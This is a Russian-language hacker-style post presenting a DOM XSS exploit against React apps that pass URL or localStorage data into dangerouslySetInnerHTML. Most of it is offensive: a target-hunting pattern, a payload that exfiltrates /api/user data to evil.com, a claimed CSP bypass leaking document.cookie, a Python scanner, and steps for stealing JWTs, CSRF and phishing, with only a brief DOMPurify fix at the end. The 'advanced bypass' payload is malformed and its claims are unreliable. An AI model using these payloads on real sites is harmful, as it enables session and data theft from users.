Critical DOM XSS в React приложениях через dangerouslySetInnerHTML

Сегодня разбираем жирный эксплойт, который до сих пор валит кучу React-приложений. Называется он DOM-based XSS через dangerouslySetInnerHTML с байпасом современных защит.

Суть уязвимости

React разработчики часто используют `dangerouslySetInnerHTML` для вставки HTML-контента, думая что React их защищает. Но вот засада — если данные приходят из URL параметров или localStorage, то защиты React тут бессильны.

Поиск цели

Ищем компоненты с таким кодом:

function VulnerableComponent() {
const params = new URLSearchParams(window.location.search);
const content = params.get('content') || localStorage.getItem('userContent');

return (
<div dangerouslySetInnerHTML={{__html: content}} />
);
}

Эксплойт в действии

Классический пейлоад не прокатит из-за CSP. Но вот что работает:

?content=<img src=x onerror="fetch('/api/user').then(r=>r.json()).then(d=>fetch('https://evil.com/steal?data='+btoa(JSON.stringify(d))))" />

Продвинутый байпас

Для обхода строгих CSP используем DOM-манипуляции:

?content=<svg><foreignObject><iframe srcdoc="<script>parent.postMessage({type:'steal',document.cookie},'*')</script>"></iframe></foreignObject></svg>

Автоматизация поиска

Скрипт для поиска уязвимых эндпоинтов:

import requests
import re
from urllib.parse import urljoin
def scan_react_xss(target_url):
payloads = [
'?content=<img src=x onerror=alert(1)>',
'?data=<svg onload=alert(1)>',
'#content=<script>alert(1)</script>'
]

for payload in payloads:
response = requests.get(target_url + payload)
if 'dangerouslySetInnerHTML' in response.text:
print(f"[!] Potential XSS: {target_url + payload}")

Эксплуатация

После нахождения уязвимости:

1. Кража токенов: Перехватываем JWT из localStorage

2. CSRF атаки: Выполняем действия от имени жертвы

3. Фишинг: Подменяем форму входа

Защита

Для разработчиков — никогда не пихайте пользовательские данные в `dangerouslySetInnerHTML` без sanitization:

import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput);

Этот эксплойт до сих пор косит тысячи сайтов, потому что девелоперы думают — “у нас же React, мы защищены”. Не-а, братан, защищены только от классических XSS, а тут другая история.

42 views·1 share